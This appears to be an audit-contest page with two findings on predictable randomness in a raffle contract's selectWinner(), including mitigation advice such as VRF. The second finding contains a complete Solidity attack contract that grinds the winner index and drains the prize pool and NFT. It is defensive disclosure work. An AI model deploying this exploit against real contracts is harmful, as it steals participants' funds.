selectWinner() derives the winner from values known or controlled by the account that finalizes the raffle. Because the function is permissionless, a searcher can vary msg.sender by deploying helper contracts, predict the modulo result, and only call from an address that selects the desired participant.
The hash does not create entropy: it only mixes public block values with a caller address chosen by the finalizer. The same helper choice also influences the NFT rarity roll.
Likelihood: High
Any address can call selectWinner() after the normal time and participant-count gates.
A searcher can cheaply create candidate helper contracts and calculate the exact index before allowing the favorable helper to finalize.
A competing honest finalizer can win the race, but that does not remove the demonstrated caller-grinding primitive.
Impact: High
A participant or collaborator can direct the 80% prize pool and NFT to a chosen eligible entry.
This breaks the core fairness property of the raffle.
The following Foundry test enrolled four players, made address(501) the desired winner at index zero, and deployed up to 64 helper contracts until one address mapped to that index:
Observed result against challenge commit 08e5b1fc6939b8da7792b2d13e43000c519d8897:
This proves caller-address grinding in the local authorized test environment. It does not assume miner control or guarantee winning a public mempool race.
Use asynchronous verifiable randomness. selectWinner() should close the round and request a random word, while an authenticated VRF callback tied to the pending requestId performs settlement. Derive both winner and rarity from the returned random word with domain separation, never from msg.sender, block.timestamp, block.difficulty, blockhash, or prevrandao alone.
Add explicit OPEN, DRAW_PENDING, and SETTLED phases, reject entries and duplicate requests while a draw is pending, and test unauthorized, wrong-request, stale-round, and duplicate callbacks.
## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.
The contest is live. Earn rewards by submitting a finding.
Submissions are being reviewed by our AI judge. Results will be available in a few minutes.
View all submissionsThe contest is complete and the rewards are being distributed.